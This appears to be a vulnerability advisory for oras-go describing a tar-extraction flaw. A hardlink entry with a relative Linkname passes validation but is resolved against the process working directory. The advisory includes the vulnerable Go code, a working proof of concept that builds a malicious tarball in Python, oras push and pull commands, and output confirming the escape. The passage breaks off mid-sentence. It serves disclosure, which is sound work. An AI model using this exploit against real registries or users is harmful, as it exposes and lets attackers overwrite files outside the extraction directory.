oras-go tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution
Root cause
The tar-extraction helper ensureLinkPath at [content/file/utils.go:262-275](https://github.com/oras-project/oras-go/blob/main/content/file/utils.go#L262-L275) validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller:
```go
func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
path := target
if !filepath.IsAbs(target) {
path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION
}
if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
return "", err
}
return target, nil // <-- returns the ORIGINAL target, not the validated path
}
```
The caller for TypeLink hardlinks then does:
```go
case tar.TypeLink:
var target string
if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
err = os.Link(target, filePath)
}
```
os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page:
> oldpath and newpath are interpreted relative to the current working directory of the calling process.
So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed.
Attack
An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with:
- A regular file:
payload.tar.gz/README.txt. - A hardlink entry:
Typeflag=TypeLink, Name=payload.tar.gz/evil_cwd_link, Linkname="victim.secret" (relative).
and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract).
When a victim runs oras pull (or any Go code using content.File), the extraction:
1. Validates payload.tar.gz/evil_cwd_link — passes.
2. Calls ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"):
path = filepath.Join(filepath.Dir(filePath), "victim.secret") = <extract_base>/payload.tar.gz/victim.secret → inside base → validation passes.- Returns
target = "victim.secret" (NOT path).
3. Calls os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link").
4. link(2) resolves relative oldname="victim.secret" against process CWD → creates a hardlink inside the extract tree pointing to <invoker_CWD>/victim.secret.
The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other.
Proof of Concept
Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from <https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz>).
Reproduction script (standalone, ~50 lines) attached. Summary of key steps:
```bash
# 1. Place victim file in the future CWD.
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret
# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
info.uid = os.getuid(); info.gid = os.getgid()
t.addfile(info, io.BytesIO(c))
link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
link.type = tarfile.LNKTYPE
link.linkname = "victim.secret" # RELATIVE
link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
t.addfile(link)
'
# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.
(cd cwd-space && oras push --oci-layout ../layout:v1 \
payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)
# ... patch layout/blobs/sha256/<manifest> to add
# io.deis.oras.content.unpack: "true" on layers[0].annotations ...
(cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract)
# 4. Observe inode sharing.
stat -c '%i' extract/payload.tar.gz/evil_cwd_link # → 6554160
stat -c '%i' cwd-space/victim.secret # → 6554160 (SAME)
cat extract/payload.tar.gz/evil_cwd_link # → "TOP SECRET FROM CWD"
```
Observed output:
```
evil_cwd_link (inside extract dir): inode=6554160
victim.secret (in invoker CWD): inode=6554160
* ESCAPE CONFIRMED *
Reading through the extract-dir hardlink yields the CWD file contents:
TOP SECRET FROM CWD
```
A library-level regression test is also provided (poc_test.go) that drops into content/file/utils_test.go and runs via go test ./content/file/... -run TestPoC — output shows identical inode match for consumers of the li
